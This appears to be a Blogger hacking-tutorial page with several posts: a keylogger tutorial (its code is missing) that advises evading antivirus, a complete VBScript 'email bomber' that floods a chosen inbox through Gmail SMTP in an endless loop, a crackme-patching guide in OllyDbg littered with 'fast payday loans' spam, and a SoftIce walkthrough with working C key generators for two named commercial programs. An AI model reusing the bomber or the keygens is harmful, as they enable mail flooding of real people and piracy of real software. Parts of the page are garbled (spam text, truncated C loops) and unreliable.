This is default featured slide 1 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.This theme is Bloggerized by Lasantha Bandara - Premiumbloggertemplates.com.

‏إظهار الرسائل ذات التسميات Programming. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات Programming. إظهار كافة الرسائل

الجمعة، 25 أبريل 2014

Create a simple keylogger for home use in VB.Net


In this tutorial we will see "How to create a simple keylogger in Visual Basic".First of all What is a Keylogger ?

Keylogger : A computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information.

Steps :

1)Create a new project in Visual studio .
2)Add three buttons on your form and name them Start Recording,Stop Recording & Hide respectively.
3)Add a RichTextBox & a Timer.
4)Now,double click your form and erase the entire code & paste the code given below.

Watch Video Tutorial :


 Code :

                                                                                                                     

Note -  Dectected by antivirus , so do add to exclusion list .





الاثنين، 7 أبريل 2014

Visual Basic 2010 Tutorial: How to make a simple calculator

Watch Tutorial :


Codes :












الأحد، 30 مارس 2014

Create a Simple Tic Tac Toe game in VB 2010

In this tutorial we will see how to create a Tic Tac Toe Game.
It's not a multiplayer game , you can play with CPU.
The level is not tought at all .                       

                             
                              Screen Shots


Watch the tutorial :




               Codes : 

Password : dadhackers.tk

My Program   :  https://adf.ly/iqOXJ
Source Code : https://adf.ly/iqMq6

الثلاثاء، 7 يناير 2014

EMAIL Bomber in Batch

EMAIL BOMBER

Here is a script with the help of which you can flood your friends mail box with an infinite number of emails.
for doing this you have to follow the following steps.

Step 1: Open notepad
Step 2: Copy the code given below and paste in to the notepad
Dim value
value=1
on error resume next
Const schema   = "http://schemas.microsoft.com/cdo/configuration/"
Const cdoBasic = 1
Const cdoSendUsingPort = 2
Dim oMsg, oConf
' E-mail properties
Set oMsg      = CreateObject("CDO.Message")
oMsg.From     = "sender@gmail.com"
oMsg.To       = "reciever@mail.com"
oMsg.Subject  = "message subject what u want"
oMsg.TextBody = "If you can read this, the script worked!"
' GMail SMTP server configuration and authentication info
do
Set oConf = oMsg.Configuration
oConf.Fields(schema & "smtpserver")       = "smtp.gmail.com" 'server address
oConf.Fields(schema & "smtpserverport")   = 465              'port number
oConf.Fields(schema & "sendusing")        = cdoSendUsingPort
oConf.Fields(schema & "smtpauthenticate") = cdoBasic         'authentication type
oConf.Fields(schema & "smtpusessl")       = True             'use SSL encryption
oConf.Fields(schema & "sendusername")  = "sender@gmail.com" 'senderusername
oConf.Fields(schema & "sendpassword")     = "password"      'sender password
oConf.Fields.Update()
' send message
oMsg.Send()
Loop Until value=2
Step 3: In the above code edit the sender's and receiver's email id and senders password..
Step 4: Now save the file as "something.vbs"
Step 5: All done now just double click on your something.vbs file and see the results.

NOTE : here in this code senders id must be in gmail.com for if senders email id other than gmail then you have to configure server configuration accordingly...
Change the loop value as you want ..

Like yahoo 


Yahoo
POP3: pop.mail.yahoo.comSMTP: smtp.mail.yahoo.com
POP3 PORT :110SMTP PORT: 25
Note: You must subscribe to Yahoo's Premium service to access your email via POP, free accounts can not use this option.
Just google the mail service port number
Ex: hotmail port number 


الاثنين، 18 نوفمبر 2013

Reverse Engineering In VB


Introduction

In this tutorial we will go over working with targets written in Visual Basic. Unfortunately, to become a well-rounded reverse engineer, we must know how to deal with these animals as there are many applications written in VB. Because this is a rather large subject, I will split it into two tutorials.
We will be looking at two crackmes, both included in the download of this tutorial. We will also be using VB Decompiler (the Lite version) which is included in the download.
As always, this tutorial, as well as all support files, can be downloaded on the tutorials
fast payday loans
page.

Introducing Visual Basic

Visual Basic is an event-driven language. This means that instead of a program running from beginning to end, VB reacts to events that happen in a window. This is similar to Windows programming in that events take place and call methods that are registered to handle those events, but VB differs in that most of the processing and message creation is performed in a DLL file. This file is the Visual Basic ‘runtime’.
The process of creating an application is a little different than, say, C++. You generally create a window (or dialog box) by dragging elements from a toolbox onto your window canvas. It is similar to C# .NET in this regard (and Delphi). Once you have your window built, you then create methods that will handle any events that can come from a user interacting with your windows contents; if a user clicks a button, the method you have made that handles the button event is called. If a user types in an edit box, the edit box method is called. Because the only code you are providing is the event code, most of the window’s processing is done for you. All of this processing is done in a DLL file called “msvbvm60.dll”, though the ’60′ may be different if using a different version of the runtime.
Another huge difference between Visual Basic and more traditional languages is a programmer has the option of compiling a VB application natively or in something called P-code. Native is simply assembly language, running natively on a processor, therefore OS and processor specific. P-code, on the other hand, is interpreted, much like Java and .NET, making it runnable on various operating systems. Interpreted means that, after compiling your VB application into P-code, when a user runs your application, something like a virtual machine is run, which interprets the P-code into native code for that specific operating system on-the-fly. When used, the p-code engine is a relatively simple machine that processes a series of “high-level” operation codes (“opcodes”). This engine is also stack-based, so very few arguments or functions are passed through registers.
The benefit of this is that if you install the VB runtime on, say, a Mac, then the P-code compiled application will be interpreted and run on a Mac. Switching to a Linux environment simply means running the Linux virtual machine (by installing the runtime), and voila, your app will run in Linux. Of course the downside is you take a speed hit as the code must be converted to native code before running.
Because VB applications can be compiled into P-code, the traditional debugging tools are a lot harder to use. Combine this with the fact that most of the time is spent in a DLL we don’t care about, and it can be quite challenging. The good news is that there are a couple tools out there that will help us. We will be going over these shortly.

Investigating The Target in Olly

When you first load a Visual Basic program in a debugger such as Olly, you will see a call is immediately performed into the VB DLL, where it will stay until an event happens. Because of this, VB programs are a little different to reverse engineer. The first thing you will notice is that the call stack is worthless; this is because most of the program’s running time is within a DLL file, the VB runtime DLL. We don’t care about this DLL, but we do care about the callback methods that handle events.
fast payday loans
Another difference is in the way strings are handled. Because most of the message boxes, as well as all other window controls, are stored in resource sections, Olly won’t display strings like a traditional C or C++ program. Therefore, using strings to find relevant sections of code is usually not an option:
fast payday loans
***If you want to see the following data yourself in Olly, load CrackmeVB1.exe.***
Another hindrance to reversing is the fact that the method calls are completely different in a VB executable. Instead of calls to such things as RegisterWindowEx and MessageBoxA, VB uses its own API calls, embedded in the runtime DLL:
fast payday loans
Clicking through to one of these methods details the difference between VB and what we are used to:
fast payday loans
As you can see, there are no helpful strings, no recognizable API calls.
Before we look at the tools at our disposal, let’s see what the basic file structure of a VB executable is. I have loaded CrackmeVB1.exe, which is compiled in P-code. Scrolling to the top of the code in the disassembly view, we see the list of functions in the binary:
fast payday loans
This is a reference for the runtime for the API calls that will be needed when the program is run.
Scrolling down a little we come to the jump table. This is similar to the jump table seen in most windows binaries and is there to help with code relocation:
fast payday loans
After this, we come to a vast sea of data. This is where the VB binary stores it’s resources. Anything from strings, to buttons, to callbacks are stored in here. One thing to note is that Visual Basic uses the actual name of a callback; so if you want “MyButtonCallback” to handle the button event, that string will be used to reference it. Because of this, you will see the various callback names embedded in this resource section:
fast payday loans
Scrolling down (much) further, we get to the actual event callbacks. These are the user generated callback methods to handle the various events. As you can see, there is no documentation as to which callback methods each is, though we will change this later with MAP files:
fast payday loans
Lastly we come to the Import Address Table, or IAT. We will get *much* more familiar with this in the tutorials on unpacking:
fast payday loans
and that’s pretty much it. Obviously, this isn’t a heck of a lot of information to work with. Fortunately, we have a tool…

VB Decompiler Lite

VB Decompiler is available in both a ‘Lite’ and ‘Pro’ version, the Lite version being free (and so, the one included with this tutorial). VB Decompiler allows us to decompile Visual Basic code, that has been converted into P-code, back into the original VB source code. Well, almost anyway :) . It also allows us to view the resources embedded in the executable in a much friendlier format. Running VB Decompiler Lite, we first see the main screen:
fast payday loans
Opening our first crackme, “CrackmeVB1.exe” and selecting the ‘Decompile’ button, we see the main project:
fast payday loans
Most of this information is unimportant- mostly just file attributes etc. Notice, though, that in the project tree (under the ‘Forms’ folder) there are two forms, form1 and Form2. These are the resources associated with each form. Because there are two, we know that this application actually has two forms; One the main window and, in this case, one an about screen. Running that app confirms this:
fast payday loans
You will also notice two additional things when running this target; The about screen is in a different language, and you cannot click the “OK” button in the about screen. If any of you have followed my tutorials on modifying binaries, you will know that, of course, this is my favorite thing about this crackme :) .
If you double click on “Form2″ in the “Forms” folder (in the project tree of VB Decompiler) we will see the various resources, along with attributes, for Form2:
fast payday loans
Here we can see that there is one button with the text “OK”, one label with the text in a different language, and one callback method for the “OK” button event called “Command1″.
Double clicking on Form1 brings up the main window’s attributes:
fast payday loans
Now we know several important things about this crackme; the important button is called “Check!” and has a callback method with the name of “Command2″, and Form1 is the main form we want to concern ourselves with. If you look down the tree, under the “Code” node, you will see the code that corresponds with the various forms. Opening the ‘Form1′ tree, we see that there are five callbacks, one for the “Checkit” button (Command2_Click_402FD0) and others for other buttons and mouse movements. If you run the target, you will see that the mouse movements callback is to change the color of the text when you hover over it.
What we want is Command2, as that’s our callback:
fast payday loans
Double clicking on this shows us the actual assembly code…
The important thing about this screen is the address of the callback. All we really wanted to use VB Decompiler for (in this case) is to find the address of the callback for the “Checkit” button, which we can see is 402FD0. Going to this address in Olly (with the target loaded) shows us the beginning of the callback function:
fast payday loans
If you set a BP here, run the target, and enter a username and serial, you will see that, after clicking the “Checkit” button, Olly pauses at our callback. We have now found our main registration callback code!!!

VB Decompiler Pro

I wanted to show what the actual P-code looks like, and for that we need VB Decompiler Pro. Unfortunately, this application requires that you buy it (… :) …) to use this function. Looking at the same code in VB Decompiler Pro looks like this:
fast payday loans
Here, we can see the actual P-code method for the callback. First, several variables are set up. The background is changed at 4030A2, a procedure is called at 4030D9 (and it looks pretty interesting), and then what is probably our magic compare/jump is performed at address 4030E1. We can see that if the results of calling the procedure at 403800 are true, we will then jump to 4030E8. If not, we will fall through and perform the instructions beginning at address 4030E2. Taking a little time, we could actually find the patch this way, though I personally like going back to Olly to do it, as it doesn’t hurt my brain so much.

Patching the App

Going to address 402FD0, the beginning of the callback, we can see the actual code:
fast payday loans
Setting a BP here and restarting the target, then stepping down some, we see at address 4030AA the background of the window changes color, just as we suspected from the P-code:
fast payday loans
At address 4030E3, we see the badboy message pop up:
fast payday loans
Looking at that area of code, we can see that right before it is a compare/jump combo:
fast payday loans
Let’s set a BP at address 4030E1, restart the target, and see if that’s the check. When Olly pauses, changing the zero flag forces the jump at address 4030E1. Unfortunately, this doesn’t display anything. This means we want to take a closer look at the call to address 4032C0 at address 4030E3. Placing a BP here, restarting the target, and stepping in, we see the main decryption routine:
fast payday loans
As we will see shortly, there are some very standard method calls in VB that should be memorized. Scrolling down the code, we see one of these at address 403644:
fast payday loans
vbaVarTstEq is like StrCmp in native code- it checks two entities to see if they match. Highlighting the call down three lines at address 40364F and clicking “Enter”, Olly follows the call and we see we’re on the right track:
fast payday loans
So we know we must make the code execute to address 403644. Looking above this at the various jumps, we find the following JE at address 40344F:
fast payday loans
which jumps to the area of code we want:
fast payday loans
So let’s place a BP at address 40344F, run the target, and change the zero flag to force the jump:
fast payday loans
Now, stepping down to the JE instruction at 40364D, we obviously want to stop this from jumping over our call to the goodboy. Changing the zero flag when we land here, we see that we have in fact cracked the target:
fast payday loans

Frequently Called Methods

As stated earlier, there are some methods that are called a lot when looking at protection schemes:
_vbaVarTstEq
_vbaVarTstNe
_vbaVarCmpEq
_vbaStrCmp
_vbaStrComp
_vbaStrCompVar
9 out of 10 times, one of these routines will be used to compare a serial with the correct one. One of these, _vbaVarTstEq, was used in the previous crackme.
Go ahead and load CrackmeVB2.exe into Olly. Performing a search of intermodular calls, we see one of our suspicious calls:
fast payday loans
Here we see the call to _vbaStrCmp. Looking up the String.Compare method call in the Visual Basic API, we see that it takes two strings as arguments and returns an int. The return value is either -1, 0 (for equals) and 1, depending on if the first is greater than or less than the second, or zero if they are equal. This is what the call looks like in VB:
fast payday loans
Double clicking this call in Olly, we jump to where this call is performed.
fast payday loans
Let’s set a BP on this line and run the target:
fast payday loans
Entering a password (I entered ’12121212′) and clicking OK, Olly breaks right where we want him to:
fast payday loans
Looking down a little bit at address 403f40, we see our wonderful compare/jump instruction. Stepping down to there and changing the zero flag, then running the target, we see that this was our simplest crack yet :) :
fast payday loans
There is a lot to take in here, but the most important thing is to mess around some on your own and discover how this stuff works on your own. I have included a crackme that we will be going over in the next tutorial (crackmeVB3.exe), so that you may try your hand at it. Following the same steps in this tutorial will solve this crackme as well.

الخميس، 7 نوفمبر 2013

Tutorial on Key Generators






Tools!
                For tools you need a minimum of debugger like SoftIce for Windows (hence WinIce), and a C compiler with Dos libraries.(Just Google it & Download)


Content!
In this tutorial I will show how to make a key-gen for Ize and Swiftsearch. The protection that these programs use is the well known Enter-Name-and-Registration-Number method. After selecting 'register',  a window pops up where you can enter your name and your registration number.   The strategy here is to find out where in memory the data you enter is stored and then to find out what is done with it. Before you go on make sure you configure the SoftIce dat file according to the PWD tutorial #1.


Part 1: Scanline Swiftsearch 2.0!

 Swiftsearch is a useful little program that you can use to search on the web. I will explain step by step how to crack it.

 step 1. Start the program :)

 step 2: Choose register from the menus. You will now get a window where you can enter your name and your  registration number.

 step 3: Enter SoftIce (ctrl-d)

 step 4: We will now set a breakpoint on functions like GetWindowText(a) and GetDlgItemText(a) to find out where in memory the data that we just entered is stored.  The function that is used by this program is GetDlgItemTexta (trial and error, just try yourself :) so, in SoftIce type BPX GetDlgItemTexta  and exit SoftIce with the g command.

step 5: Now type a name and a registration number  (I used razzia and 12345) and press OK, this will put you  back in  SoftIce. Since you are now inside the GetDlgItemTexta function press F11 to get out of it.  You should see the following code:

            lea eax, [ebp-2C]          :<--- we are looking for this location
     push eax                  
     push 00000404
     push [ebp+08]
     call [USER32!GetDlgItemTextA]
     mov edi, eax               :<--- eax has the length of the string                  
                                 and is stored in edi for later usage.

                  We see that EAX is loaded with a memory address and then pushed to the stack as a parameter for the function GetDlgItemTextA. Since the function GetDlgItemTextA is already been run we can look at EBP-2c (with ED EDP-2c) and see that the name we entered is there. Now we know where the name is stored in memory, normally it would be wise to write that address down, but we will see that in this case it wont be necessary.
             
So, what next? Now we have to allow the program to read the registration number we entered. Just type g and return and when  back in SoftIce press F11. You should see the following code:

     push 0000000B
     lea ecx, [ebp-18]         : <--So, ebp-18 is where the reg. number                                
     push ecx                  :    is stored.
     push 0000042A
     push [ebp+08]
     call [USER32!GetDlgItemTextA]
     mov ebx, eax              : <--save the lenght of string in EBX
     test edi, edi             : <--remember EDI had the lenght of the                               
     jne 00402FBF              :    name we entered?
            
             We see that the registration number is stored at location EBP-18 , check it with ED EBP-18.  Again, normally it would be wise to note that address down.  Also we see that it is checked if the length of the name we gave was not zero. If it is not zero the  program will continue.

Step 6: Ok, now we know where the data we entered is stored in memory. What next?
             Now we have to find out what is DONE with it. Usually it would we wise to put breakpoints on those memory locations and find out where in the program they are read. But in this case the answer is just a few F10's away. Press F10 until you see the following code :

           cmp ebx, 0000000A       :<--remember EPX had the length of the
     je 00402FDE             :   registration code we entered?
   
             These two lines are important. They check if the length of the registration code we entered is equal  to 10. If not the registration number will be considered wrong already. The program wont even bother  to check it. Modify EBX or the FLAG register in the register window to allow the jump. Continue Pressing F10 until you get to the following code (note that the adresses you will see could be different) :

:00402FDE xor esi, esi        :<-- Clear ESI
:00402FE0 xor eax, eax        :<-- Clear EAX
:00402FE2 test edi, edi
:00402FE4 jle 00402FF2
:00402FE6 movsx byte ptr ecx, [ebp + eax - 2C] :<-- ECX is loaded with a letter of the  name we entered.
:00402FEB add esi, ecx        :<-- Add the letter to ESI                  
:00402FED inc eax             :<-- Increment EAX to get next letter
:00402FEE cmp eax, edi        :<-- Did we reach the end of the string?
:00402FF0 jl 00402FE6         :<-- If not, go get the next letter.

            Well, we see that the program adds together all the letters of the name we entered.  Knowing that ESI contains the sum of the letters, lets continue and find out what the program does with that value :

:00402FF2 push 0000000A
:00402FF4 lea eax, [ebp-18]   :<-- Load EAX with the address of the reg. number we entered   
:00402FF7 push 00000000
:00402FF9 push eax            :<-- Push EAX (as a parameter for the following function)
:00402FFA call 00403870       :<-- Well, what do you think this function does? :)
:00402FFF add esp, 0000000C   
:00403002 cmp eax, esi        :<-- Hey!  
:00403004 je 00403020

             We see that a function is called and when RETurned ESI is compared with EAX. Hmm, lets look at what's in EAX.  A '? EAX' reveals :
          
             00003039       0000012345   "09"

             Bingo. That's what we entered as the registration number. It should have been what's inside ESI.  And we know what's inside ESI, the sum of the letters of the name we entered!
        
Step 7:  Now we know how the program computes the registration code we can make a key-gen.
              But we should not forget that the program checks also that the registration number has 10
              digits.
              A simple C code that will compute the registration number for this program could look like this:


 #include  
#include  
main()
{
     char Name[100];
     int NameLength,Offset;
     long int Reg = 0, Dummy2 = 10;
     int Dummy = 0;
     int LengtDummy = 1;
     int Lengt , Teller;
     printf("Scanline SwiftSearch 2.0 crack by raZZia.\n");
     printf("Enter your name: ");
      gets(Name);
      NameLength=strlen(Name);

/* the for lus calculates the sum of the letters in Name */
/* and places that value in Reg                          */
      for (Offset=0;Offset
        {
           Reg=Reg+Name[Offset];
        }                                 
/* the while lus calculates the lenght of the figure in */
/* Reg and places it in Lengt                           */
      while (Dummy != 1)
        {
             if ( Reg < Dummy2 )
               { Lengt = LengtDummy ; Dummy =1;
               }
            else
               { LengtDummy=LengtDummy + 1; Dummy2=Dummy2*10;
               }
        };              
     printf("\nYour registration number is : " );
/* First print 10-Lengt times a 0                        */
     Lengt=10-Lengt;
     for (Teller=1;Teller<=Lengt;Teller=Teller+1) printf("0");
/* Then print the registration number                    */
     printf("%lu\n",Reg);
}




                           Case 2 Ize 2.04 from Gadgetware
     
                Ize from Gadgetware is a cute little program that will put a pair of eyes on your screen which will
                follow your mousepointer. It has a register function where you can enter your name and a registration
                number. The strategy in this case is still the same : Find out where in memory the entered information
                is stored and then find out what is done with that information.

Step 1:   Start Ize. Chose register and enter a name and a number. I used 'razzia' and '12345'.

Sterp 2: Enter (CTRL-D) Softice and set a breakpoint on GetDlgItemTextA.

Step 3:  Leave SoftIce and press OK. This will put you back in Softice. You will be inside the GetDlgItemTextA
              function. To get out of it press F11. You should see the following code :

      mov esi, [esp + 0C]
      push 00000064
      push 0040C3A0      :<--On this memory location the NAME we entered will be stored.
      mov edi, [USER32!GetDlgItemTextA]  :<--Load edi with adress of GetDlgItemTextA
      push 00004EE9     
      push esi
      call edi           :<-- Call GetDlgItemTextA 
      push 00000064            :<-- (you should be here now)
      push 0040C210      :<--On this memory location the NUMBER we entered will be stored
      push 00004EEA
      push esi
      call edi           :<-- Call GetDlgItemTextA

                We see that the function GetDlgItemTextA is called twice in this code fragment. The first call has
                already happened. With ED 40C3A0 we can check that the name we entered is stored on that location.
                To allow the program to read in the number we entered we type G and enter. Now we are inside the Get-
                DlgItemTextA function again and we press f11 to get out of it. We check memory location 40C210 and
                we see the number we entered is stored there.
      Now we know the locations were the name and the number are stored,we note those down!

Step 4:   Ok, what next? We now know where in memory the name and the number are stored. We need to find out
                what the program does with those values. In order to do that we could set breakpoints on those memory
                locations to see where they are read. But in this case it wont be necessary. The answer is right after the
                above code :

      push 0040C210  :<--save the location of the number we entered (as a parameter for the next call)
      call 00404490  :<-- call this unknown function  
      add esp, 00000004
      mov edi, eax  :<-- save EAX  (hmmmm)

      We see a function being called with the number-location as a parameter. We could trace into the                                                 function and see what it does, but that is not needed. With your experience of the Swiftsearch
                example you should be able to guess what this function does.  It calculates the numerical value of the                                 registration number and puts it in EAX. To be sure we step further using F10 untill we are past the call            and check the contents of EAX (with ? EAX). In my case it showed : 00003039       0000012345   "09".

      Knowing that EDI contains our registration number we proceed:
     
      push 0040C3A0 :<-- save the location of the name we entered (as a parameter for the next call)    
      push 00409080 :<-- save an unknown memory-location (as a parameter for the next call)
      call 004043B0 :<--call to an unknown function
      add esp, 00000008
      cmp edi, eax  :<--compare EDI (reg # we entered) with EAX (unknown, since the previous call                                                                                                                  changed it)
      jne 004018A1  :<--jump if not equal
               
                We see that a function is called with two parameters. One of the parameters is the location of the name
                we entered. The other we dont know, but we can find out with ED 409080. We see the text 'Ize'.
                This function calculates the right registration number using those two parameters. If you just want to
                crack this program, you can place a breakpoint right after the call and check the contents of EAX. It will
                contain the right registration number.  But since we want to know HOW the reg. # is calculated we will           trace inside the function (using T). We will then try to find out HOW the contents of EAX got in there.

Step 5:    Once inside the interesting function  you will see that we are dealing with a rather long function. It wont                        be necessary for me to include the complete listing of this function, because we wont need all of it to   make our key-gen.
                But in order find out which part of the code is essential for the computation of the right registration                 number, you  have to trace STEP by STEP and figure out what EXACTLY is going on!

                Afther doing this i found out that the first part of the function computes  some kind of "key". Then this
                "key" is stored in memory and in that way passed on to the second part of the function.  
                The second part of the function then computes the right registration number, based on this "key" AND
                 the name we entered.
               
      The code that is essential and that we need for our key-gen is the following:
               
               ( Note that before the following code starts, the registers that are used will have the following values:
                 EBX will point to the first letter of the name we entered,
                 EDX will be zero,
                 EBP will be zero,
                 The "key" that we talked about earlier is stored in memory location 0040B828 and will 
                 have 0xA4CC as its initial value. )


:00404425 movsx byte ptr edi, [ebx + edx]   :<-- Put first letter of the name in EDI
:00404429 lea esi, [edx+01]    :<-- ESI gets the "letter-number"
:0040442C call 00404470        :<-- Call  function
:00404431 imul edi, eax        :<-- EDI=EDI*EAX (eax is the return value of the the previous call)
:00404434 call 00404470        :<-- Call function
:00404439 mov edx, esi           
:0040443B mov ecx, FFFFFFFF
:00404440 imul edi, eax     :<-- EDI=EDI*EAX (eax is the return value of the previous call)
:00404443 imul edi, esi     :<-- EDI=EDI*ESI ( esi is the number of the letter position)
:00404446 add ebp, edi      :<-- EBP=EBP+EDI  (beware that EBP will finally contain the right reg#)
:00404448 mov edi, ebx  :<--these lines compute the lenght of the name we entered    
:0040444A sub eax, eax  :<--these lines compute the lenght of the name we entered
:0040444C repnz         :<--these lines compute the lenght of the name we entered
:0040444D scasb         :<--these lines compute the lenght of the name we entered
:0040444E not ecx       :<--these lines compute the lenght of the name we entered
:00404450 dec ecx       :<-- ECX now contains the lenght of the name
:00404451 cmp ecx, esi       
:00404453 ja 00404425  :<-- If its not the end of the name , go do the same with the next letter 
:00404455 mov eax, ebp :<--  SAVE EBP TO EAX !!!! 
:00404457 pop ebp
:00404458 pop edi
:00404459 pop esi
:0040445A pop ebx
:0040445B ret          
            _____

:00404470 mov eax, [0040B828]       :<-- Put "key" in EAX        
:00404475 mul eax, eax, 015A4E35    :<-- EAX=EAX * 15A4E35
:0040447B inc eax                   :<-- EAX=EAX + 1
:0040447C mov [0040B828], eax       :<-- Replace the "key" with the new value of EAX
:00404481 and eax, 7FFF0000         :<-- EAX=EAX && 7FFF0000
:00404486 shr eax, 10               :<-- EAX=EAX >>10
:00404489 ret


      The above code consists of a loop that goes trough all the letters of the name we entered. With each
                letter some value is calculated, all these values are added up together (in EBP). Then this value is stored
                in EAX and the function RETurns. And that was what we were looking for, we wanted to know how EAX                                                  got its value!

Step 6:   Now to make a key-gen we have to translate the above method of calculating the right reg# into a
                c program. It could be done in the following way :
                (Note : I am a bad c programmer :)

#include   
#include   
main()
{
      char Name[100];
      int NameLength,Offset;
      unsigned long Letter,DummyA;
      unsigned long Key = 0xa4cc;
      unsigned long Number = 0;
        printf("Ize 2.04 crack by razzia\n");
      printf("Enter your name: ");
        gets(Name);
        NameLength=strlen(Name);
        for (Offset=0;Offset
        {
               Letter=Name[Offset];
                 DummyA=Key;
                 DummyA=DummyA*0x15a4e35;
                   DummyA=DummyA+1;
                   Key=DummyA;
                   DummyA=DummyA & 0x7fff0000;
                   DummyA=DummyA >> 0x10;
                 Letter=Letter*DummyA;
                 DummyA=Key;
                 DummyA=DummyA*0x15a4e35;
                   DummyA=DummyA+1;
                   Key=DummyA;
                   DummyA=DummyA & 0x7fff0000;
                   DummyA=DummyA >> 0x10;                
                 Letter=Letter*DummyA;
                 Letter=Letter*(Offset+1);
                 Number=Number+Letter;
        }                                  
        printf("\nYour registration number is : %lu\n",Number);
}